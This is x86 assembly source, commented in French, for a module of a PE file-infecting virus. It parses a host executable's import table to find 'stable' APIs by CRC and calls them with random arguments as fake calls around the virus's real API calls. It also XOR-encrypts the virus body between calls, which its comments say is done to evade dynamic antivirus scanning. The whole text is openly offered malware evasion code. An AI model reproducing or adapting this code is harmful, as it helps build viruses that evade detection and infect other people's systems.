;;; MODULE : FAKE_APIS ;;; AUTEUR : kaze ;;; ;;; Ce module scanne l'import table d'un hote de type PE à la recherche de certaines ;;; apis. La liste des apis à chercher est formatée comme dans l'exemple ci-dessous ;;; (liste_fake_apis). Cette liste est de la forme: ;;; - nom de la dll (en minuscules) ;;; - couples (crc de l'api, nombre de paramètres de l'api) ;;; - le tout x fois ... ;;; Séparez deux dll par un FAKE_API_SEPARATEUR et terminez la liste par FAKE_API_FIN. ;;; ;;; Ce module m'a servi à chercher dans l'hote certaines apis "stables", i.e qui ne plantent ;;; pas peu importe ce qu'ont leur donne en entrée. Cela permet d'ajouter des "fake api calls" ;;; à un décrypteur polymorphique par exemple. D'où le fait qu'il faut renseigner dans la liste ;;; le nombre de paramètres de l'api, ca pourra servir plus tard. Ce module peut tout a fait ;;; servir à autre chose cependant. ;;; ;;; La fonction principale à appeler est find_fake_apis qui prend en entrée: ;;; - esi-->liste des crc des fake_apis à chercher formatée comme dans l'exemple ;;; - edi-->tableau qui contiendra la liste des adresses des apis en retour ;;; - edx-->pe header hote ;;; - ebx = adresse où l'hote est filemappé ;;; - ebp = delta offset ;;; elle fournit en sortie: ;;; - le tableau passé dans edi est renseigné, et est composé d'une liste de doublons: ;;; .dword : RVA de la future adresse (dans le FirsThunk de l'hote) de l'api. ;;; .dword : nombre de paramètres de l'api ;;; - le nombre d'apis trouvées dans eax ;;;Le tableau contient uniquement les futures RVA des adresses des apis QUI ONT ETE TROUVEES ;;;dans l'IAT de l'hote. Il ne contiendra donc pas forcément NB_FAKE_APIS doublons mais ;;;surement moins. Le tableau est terminé par le dword 0. ;;; ;;;Il faut bien comprendre que cette fonction ne retourne pas les adresses des apis ;;;à l'instant t, mais l'adresse (la RVA exactement) dans le FT de l'hote où sera stockée ;;;l'adresse de l'api lorsque l'hote sera exécuté et que l'IAT aura été résolue par le ;;;loader windows. ;;; ;;;NB: faites attention que la tableau passé dans edi soit de taille suffisament grande ;;;pour stocker le résultat (taille de (NB_FAKE_APIS+1)*8 octets au max) MAX_DYN_FAKE_APIS EQU 5 FAKE_API macro crc,nb_params dd crc db nb_params endm FAKE_API_SEPARATEUR macro dd 0 endm FAKE_API_FIN macro dd -1 endm sauve_reg_anti_call dd ? sauve_reg_anti_call2 dd ? liste_fake_apis: include fake_apis.inc NB_FAKE_APIS EQU 500 ; borne max ; variables temporaires, merci intel pour si peu de registres ! ffa_tab dd ? ffa_nb dd ? ffa_tmp1 dd ? ;FIND_FAKE_APIS : in : esi-->list des crc des fake_apis possibles ; edi--> tableau où stocker les adresses des api ; edx-->pe header hote ; ebx = file mapping offset ; out: tableau rempli et eax=nb apis trouvées find_fake_apis proc near push ecx esi edi and [ebp+ffa_nb],dword ptr 0 mov [ebp+ffa_tab],edi mov ecx,NB_FAKE_APIS*2 xor eax,eax rep stosd mov eax,[edx+80h] call rva2raw lea ecx,[eax+ebx] ;ecx--> IAT de l'hote ffa_cherche_iid: push ecx ffa_cherche_iid_boucle: mov eax,[ecx+0Ch] test eax,eax jz ffa_finrecherche call rva2raw push esi lea edi,[eax+ebx] ffa_cmp_str: push word ptr [edi] cmp [edi],byte ptr 'Z' ; comparaison du dllname case-insensitive ja ffa_minuscule cmp [edi],byte ptr 'A' jb ffa_minuscule add [edi],byte ptr 'a'-'A' ffa_minuscule: cmpsb pop word ptr [edi-1] jnz ffa_cmp_faux cmp [esi-1],byte ptr 0 jz ffa_iid_trouve jmp ffa_cmp_str ffa_cmp_faux: pop esi ; rerecherche au debut du nom add ecx,14h jmp ffa_cherche_iid_boucle ffa_iid_trouve: pop eax ; passe à la liste des FAKE_API ffa_trouve_api: xor eax,eax cmp [esi],eax jz ffa_fin_iid dec eax cmp [esi],eax jz ffa_finrecherche mov eax,[ecx] ; OFT test eax,eax jnz ffa_oftpresent mov eax,[ecx+10h] ffa_oftpresent: call rva2raw lea edi,[eax+ebx] mov [ebp+ffa_tmp1],edi ffa_cherche_api: ; boucle pour chaque api importee mov eax,[edi] add edi,4 test eax,eax jz ffa_pas_trouve inc eax inc eax call rva2raw add eax,ebx test [eax-2],word ptr 8000h jnz ffa_cherche_api call calc_crc cmp eax,[esi] jnz ffa_cherche_api lea eax,[edi-4] sub eax,[ebp+ffa_tmp1] add eax,[ecx+10h] ; eax=pointeur vers la future RVA de l'api mov edi,[ebp+ffa_tab] ; ffa_place_libre: cmp [edi],dword ptr 0 jz ffa_libre add edi,8 jmp ffa_place_libre ffa_libre: stosd movzx eax,byte ptr [esi+4] stosd inc dword ptr [ebp+ffa_nb] ffa_pas_trouve: add esi,5 jmp ffa_trouve_api ffa_fin_iid: add esi,4 pop ecx jmp ffa_cherche_iid ffa_finrecherche: pop ecx pop edi esi ecx mov eax,[ebp+ffa_nb] ret find_fake_apis endp anti_call_init proc near pusha lea esi,[ebp+fa_xor_loop] mov edi,[ebp+xor_loop_location] mov ecx,XOR_LOOP_SIZE rep movsb popa ret anti_call_init endp ;ANTI_CALL ; in: edx=adresse à appeler ; ;Appel d'une API au sein du corps du virus : ; appel de MAX_DYN_FAKE_APIS fake API ; appel de l'API en question ; appel de MAX_DYN_FAKE_APIS fake API anti_call proc near pop ebx call appel_fake_apis call [ebp+xor_loop_location] anti_call_1: call edx call [ebp+xor_loop_location] anti_call_2: push eax call appel_fake_apis pop eax inc [ebp+cle_anti_call] push ebx ret anti_call endp ;appel_fake_apis ; in: none ; out:none ;appelle MAX_DYN_FAKE_APIS API avec les paramètres qui vont bient appel_fake_apis proc near pusha mov eax,MAX_DYN_FAKE_APIS call rand_tuna mov ecx,eax inc ecx cfa_1: push ecx lea esi,[ebp+sauve_fake_apis] call taille_liste mov eax,ebx shr eax,1 test eax,eax jz cfa_2 call rand_tuna lea esi,[esi+eax*8] xor edx,edx cmp [esi],edx jz cfa_2 mov eax,[esi+4] call rand_pushs mov eax,[esi] add eax,[ebp+sauve_imagebase] call [eax] cfa_2: pop ecx loop cfa_1 popa ret appel_fake_apis endp rand_pushs proc near ;in: eax= nb de pushs test eax,eax jz rp_2 pop ebx mov ecx,eax rp_1: xor eax,eax dec eax call rand_tuna push eax loop rp_1 push ebx rp_2: ret rand_pushs endp ; FA_XOR_LOOP ; in : none ;encrypte le corps du virus pour échapper au scan dynamique fa_xor_loop proc near pusha lea ecx,[ebp+anti_call_1] lea esi,[ebp+debut_virus] sub ecx,esi mov edi,esi faxl_1: lodsb xor al,[ebp+cle_anti_call] stosb loop faxl_1 lea ecx,[ebp+fin_dyn_fake_apis] lea esi,[ebp+anti_call_2] sub ecx,esi mov edi,esi faxl_2: lodsb xor al,[ebp+cle_anti_call] stosb loop faxl_2 popa ret fa_xor_loop endp XOR_LOOP_SIZE equ $ - offset fa_xor_loop